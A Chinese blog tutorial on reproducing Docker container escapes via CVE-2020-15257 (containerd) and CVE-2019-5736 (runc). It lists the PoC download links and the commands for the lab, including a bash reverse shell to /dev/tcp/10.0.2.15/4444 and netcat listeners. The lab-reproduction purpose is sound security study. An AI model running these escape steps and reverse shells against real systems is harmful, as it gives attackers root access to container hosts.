虚拟化逃逸攻击

概述

虚拟化逃逸指的是突破虚拟机或者容器的限制,实现与宿主机操作系统交互的一个过程,攻击者可以通过虚拟化逃逸感染宿主机或者在宿主机上运行恶意软件。

CVE-2020-15257

containerd在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。

环境搭建

下载指定的docker版本,参考这篇,这里选择docker-ce=5:19.03.8~3-0~ubuntu-xenial 版本 

下载完输入docker version 查看containerd 的版本信息,如发现该版本不在1.3.9和1.4.3之前 则需替换对应的版本,输入 apt-cache madison containerd.io 查看可安装的版本,

复现

下载poc

https://github.com/Xyntax/CDK/releases/tag/0.1.6

运行一个容器

docker run -it --net=host ubuntu:18.04 /bin/bash

查看docker宿主机内核版本:将与内核类型对应的poc复制到虚拟机的容器中

docker cp cdk_linux_386 容器ID:/tmp

在监听侧进行监听

nc -lvvp 4444

在容器内执行poc

./cdk_linux_386 run shim-pwn 10.0.2.15 4444

CVE-2019-5736

漏洞点在于runC,RunC是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来。作为“低级别”容器运行时,runC主要由“高级别”容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具。像Docker这样的“高级别”容器运行时通常会实现镜像创建和管理等功能,并且可以使用runC来处理与运行容器相关的任务:创建容器、将进程附加到现有容器等。在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。

复现

参考上文安装指定的docker,可能出现的问题

查看版本是否正确

sudo systemctl start docker $ docker info

下载poc

git clone https://github.com/agppp/cve-2019-5736-poc

编辑stage2.c文件,修改shell代码,设置反弹到本地的ip和端口:

#!/bin/bash\n/bin/bash -i >& /dev/tcp/10.0.2.15/4444 0>&1 &\n

编译环境:

docker build -t cve .

然后运行命令:

docker run -d cve /bin/bash -c "tail -f /dev/null"

然后进入容器内:

查看容器ID:docker ps
进入容器:docker exec -it 查看容器ID /bin/bash

到root目录下,运行run.sh脚本,注意libseccomp版本要保持一致,如不一致可直接修改对应的文件夹名

在监听端开启监听

nc -lvvp 4444

退出容器然后再重新进入容器,漏洞被触发,shell反弹过来

参考

[1] Docker容器逃逸漏洞复现(CVE-2020-15257 - 哔哩哔哩

[2]CVE-2020-15257:Containerd虚拟环境逃逸复现 - 云+社区 - 腾讯云

[3]CVE-2020-15257 Docker逃逸漏洞复现 | CN-SEC 中文网

[4]docker逃逸漏洞复现(CVE-2019-5736) - FreeBuf网络安全行业门户

[5]CVE-2019-5736 runc容器逃逸漏洞复现 - 云+社区 - 腾讯云

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值